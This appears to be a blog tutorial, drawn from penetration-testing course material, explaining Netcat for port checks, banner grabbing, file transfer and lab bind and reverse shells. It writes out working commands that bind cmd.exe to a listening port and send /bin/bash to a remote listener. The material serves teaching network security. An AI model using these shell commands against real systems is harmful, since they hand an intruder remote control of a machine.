What is Netcat?

What is Netcat? – Netcat, first released in 1995(!) by Hobbit is one of the “original” network penetration testing tools and is so versatile that it lives up to the author’s designation as a hacker’s “Swiss army knife”.

The clearest definition of Netcat is from Hobbit himself: a simple “utility which reads and writes data across network connections, using TCP or UDP protocols.

What is Netcat?

Connecting to a TCP/UDP Port

As suggested by the description, Netcat can run in either client or server mode. To begin, let’s look at the client mode.
We can use client mode to connect to any TCP/UDP port, allowing us to:
• Check if a port is open or closed.
• Read a banner from the service listening on a port.
• Connect to a network service manually.

Let’s begin by using Netcat ( nc ) to check if TCP port 110 (the POP3 mail service) is open on one of the lab machines. We will supply several arguments: the -n option to skip DNS name resolution; – v to add some verbosity; the destination IP address; and the destination port number:

kali@kali:~$ nc -nv 10.11.0.22 110
(UNKNOWN) [10.11.0.22] 110 (pop3) open
+OK POP3 server lab ready <00003.1277944@lab>

Listing 77 tells us several things. First, the TCP connection to 10.11.0.22 on port 110 (10.11.0.22:110 in standard nomenclature) succeeded, so Netcat reports the remote port as open.

Next, the server responded to our connection by “talking back to us”, printed out the server welcome message, and prompted us to log in, which is standard behavior for POP3 services.

kali@kali:~$ nc -nv 10.11.0.22 110
(UNKNOWN) [10.11.0.22] 110 (pop3) open
+OK POP3 server lab ready <00004.1546827@lab>
USER offsec
+OK offsec welcome here
PASS offsec
-ERR unable to lock mailbox
quit
+OK POP3 server lab signing off.
kali@kali:~$

We have successfully managed to converse with the POP3 service using Netcat (even though our login attempt failed).

What is Netcat?

Listening on a TCP/UDP Port

Listening on a TCP/UDP port using Netcat is useful for network debugging of client applications, or otherwise receiving a TCP/UDP network connection. Let’s try implementing a simple chat service involving two machines, using Netcat both as a client and as a server.

On a Windows machine with IP address 10.11.0.22, we set up Netcat to listen for incoming connections on TCP port 4444. We will use the -n option to disable DNS name resolution, -l to create a listener, -v to add some verbosity, and -p to specify the listening port number:

C:\Users\offsec> nc -nlvp 4444
listening on [any] 4444 …

Now that we have bound port 4444 on this Windows machine to Netcat, let’s connect to that port from our Linux machine and enter a line of text:

kali@kali:~$ nc -nv 10.11.0.22 4444
(UNKNOWN) [10.11.0.22] 4444 (?) open
This chat is from the linux machine

Our text will be sent to the Windows machine over TCP port 4444 and we can continue the “chat” from the Windows machine:

C:\Users\offsec> nc -nlvp 4444
listening on [any] 4444 …
connect to [10.11.0.22] from <UNKNOWN) [10.11.0.4] 43447
This chat is from the linux machine

This chat is from the windows machine

Although this isn’t a very exciting example, it demonstrates several important features in Netcat.

Try to answer these important questions before proceeding:
• Which machine acted as the Netcat server?
• Which machine acted as the Netcat client?
• On which machine was port 4444 actually opened?
• What is the command-line syntax difference between the client and server?

What is Netcat?

Transferring Files with Netcat

Netcat can also be used to transfer files, both text and binary, from one computer to another. In fact, forensics investigators often use Netcat in conjunction with dd (a disk copying utility) to create forensically sound disk images over a network.

To send a file from our Kali virtual machine to the Windows system, we initiate a setup that is similar to the previous chat example, with some slight differences. On the Windows machine, we will set up a Netcat listener on port 4444 and redirect any output into a file called incoming.exe:

C:\Users\offsec> nc -nlvp 4444 > incoming.exe
listening on [any] 4444 …

On the Kali system, we will push the wget.exe file to the Windows machine through TCP port 4444:

kali@kali:~$ locate wget.exe
/usr/share/windows-resources/binaries/wget.exe

kali@kali:~$ nc -nv 10.11.0.22 4444 < /usr/share/windows-resources/binaries/wget.exe
(UNKNOWN) [10.11.0.22] 4444 (?) open

The connection is received by Netcat on the Windows machine as shown below:

C:\Users\offsec> nc -nlvp 4444 > incoming.exe
listening on [any] 4444 …
connect to [10.11.0.22] from

Notice that we have not received any feedback from Netcat about our file upload progress. In this case, since the file we are uploading is small, we can just wait a few seconds, then check whether the file has been fully uploaded to the Windows machine by attempting to run it:

C:\Users\offsec> incoming.exe -h
GNU Wget 1.9.1, a non-interactive network retriever.
Usage: incoming [OPTION]… [URL]…

We can see that this is, in fact, the wget.exe executable and that the file transfer was successful.

Remote Administration with Netcat

One of the most useful features of Netcat is its ability to do command redirection. The netcat traditional version of Netcat (compiled with the “-DGAPING_SECURITY_HOLE” flag) enables the -e option, which executes a program after making or receiving a successful connection. This powerful feature opened up all sorts of interesting possibilities from a security perspective and is therefore not available in most modern Linux/BSD systems. However, due to the fact that Kali Linux is a penetration testing distribution, the Netcat version included in Kali supports the -e option.

When enabled, this option can redirect the input, output, and error messages of an executable to a TCP/UDP port rather than the default console.

For example, consider the cmd.exe executable. By redirecting stdin, stdout, and stderr to the network, we can bind cmd.exe to a local port. Anyone connecting to this port will be presented with a command prompt on the target computer.

To clarify this, let’s run through a few more scenarios involving Bob and Alice

Netcat Bind Shell Scenario

In our first scenario, Bob (running Windows) has requested Alice’s assistance (who is running Linux) and has asked her to connect to his computer and issue some commands remotely. Bob has a public IP address and is directly connected to the Internet. Alice, however, is behind a NATed connection, and has an internal IP address. To complete the scenario, Bob needs to bind cmd.exe to a TCP port on his public IP address and asks Alice to connect to his particular IP address and port.

Bob will check his local IP address, then run Netcat with the -e option to execute cmd.exe once a connection is made to the listening port:

C:\Users\offsec> ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.11.0.22
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.11.0.1

C:\Users\offsec> nc -nlvp 4444 -e cmd.exe
listening on [any] 4444 …

Now Netcat has bound TCP port 4444 to cmd.exe and will redirect any input, output, or error messages from cmd.exe to the network. In other words, anyone connecting to TCP port 4444 on Bob’s machine (hopefully Alice) will be presented with Bob’s command prompt. This is indeed a “gaping security hole”!

kali@kali:~$ ip address show eth0 | grep inet inet 10.11.0.4/16 brd 10.11.255.255
scope global dynamic eth0

kali@kali:~$ nc -nv 10.11.0.22 4444
(UNKNOWN) [10.11.0.22] 4444 (?) open
Microsoft Windows [Version 10.0.17134.590]

C:\Users\offsec> ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.11.0.22
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.11.0.1

Reverse Shell Scenario

In our second scenario, Alice needs help from Bob. However, Alice has no control over the router in her office, and therefore cannot forward traffic from the router to her internal machine.

In this scenario, we can leverage another useful feature of Netcat; the ability to send a command shell to a host listening on a specific port. In this situation, although Alice cannot bind a port to /bin/bash locally on her computer and expect Bob to connect, she can send control of her command prompt to Bob’s machine instead. This is known as a reverse shell. To get this working, Bob will first set up Netcat to listen for an incoming shell. We will use port 4444 in our example:

C:\Users\offsec> nc -nlvp 4444
listening on [any] 4444 …

Now, Alice can send a reverse shell from her Linux machine to Bob. Once again, we use the -e option to make an application available remotely, which in this case happens to be /bin/bash, the Linux shell:

kali@kali:~$ ip address show eth0 | grep inet
inet 10.11.0.4/16 brd 10.11.255.255
scope global dynamic eth0

kali@kali:~$ nc -nv 10.11.0.22 4444 -e /bin/bash
(UNKNOWN) [10.11.0.22] 4444 (?) open

Once the connection is established, Alice’s Netcat will have redirected /bin/bash input, output, and error data streams to Bob’s machine on port 4444, and Bob can interact with that shell:

C:\Users\offsec>nc -nlvp 4444
listening on [any] 4444 …
connect to [10.11.0.22] from <UNKNOWN) [10.11.0.4] 43482

ip address show eth0 | grep inet
inet 10.11.0.4/16 brd 10.11.255.255 scope global dynamic eth0

Take some time to consider the differences between bind and reverse shells, and how these differences may apply to various firewall configurations from an organizational security standpoint. It is important to realize that outgoing traffic can be just as harmful as incoming traffic. The following image depicts the reverse shell scenario where Bob gets remote shell access on Alice’s
Linux machine, traversing the corporate firewall:

For Netcat CheatSheat Click Here

If You Like This Blog Please Suggest Next In Comment

For More Hacking Content Click Here

Related posts

Leave a Comment